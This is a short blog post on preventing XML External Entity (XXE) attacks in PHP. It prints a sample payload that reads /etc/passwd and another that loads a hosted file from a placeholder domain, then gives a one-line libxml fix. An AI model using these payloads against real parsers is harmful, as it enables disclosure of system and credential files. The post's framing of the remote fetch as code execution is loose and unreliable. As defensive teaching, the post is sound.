March 3, 2017

XML External Entity (XXE) prevention

XML External Entity (XXE) attack is a very serious type of attack, which can have a huge impact on the security of an entire system [1]. Yet it is not widely known.

How does it work?

A lot of applications use XML as data-format to exchange data between two systems. This is a common practice - especially in the business world. What an attacker would do is inject malicious XML that requests an external entity. This can lead to information disclosure (yes even passwords), remote code execution, denial of service [1]. The code is executed as soon as the XML parser parses the input.

Information disclosure

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [  
    <!ELEMENT id ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<id>&xxe;</id>

This example sets an external entity to load the file contents of /etc/passwd which is loaded in <id>

RCE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [ 
    <!ELEMENT id ANY >
    <!ENTITY xxe SYSTEM "http://mydomain.com/xxe/code.txt">
]>
<id>&xxe;</id>

Here our hosted file is loaded into the XML which could contain anything that you can imagine

“But the data is transmitted over TLS”

When using TLS, the body of your request is encrypted. So an attacker won't know if you are using XML and won't know the specifications of your interface. BUT for example in a mobile app, if you don't use certificate pinning, an attacker could easily analyse all the requests made to your server with a MITM and would now know that you are exchanging data with XML.

Solutions

PHP [2]:

//prevent XXE in XMLReader, SimpleXML, DOM
libxml_disable_entity_loader(true);

As always: never trust the client and always validate incoming data!

Sources:

[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
[2] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP

Tags: php, security, xxe

« back

010100100110000101101110011001000110111101101101010000110110100101110000011010000110010101110010

About the author

human, software engineer, tech enthusiast, security researcher

E-Mail: blog@cipher.digital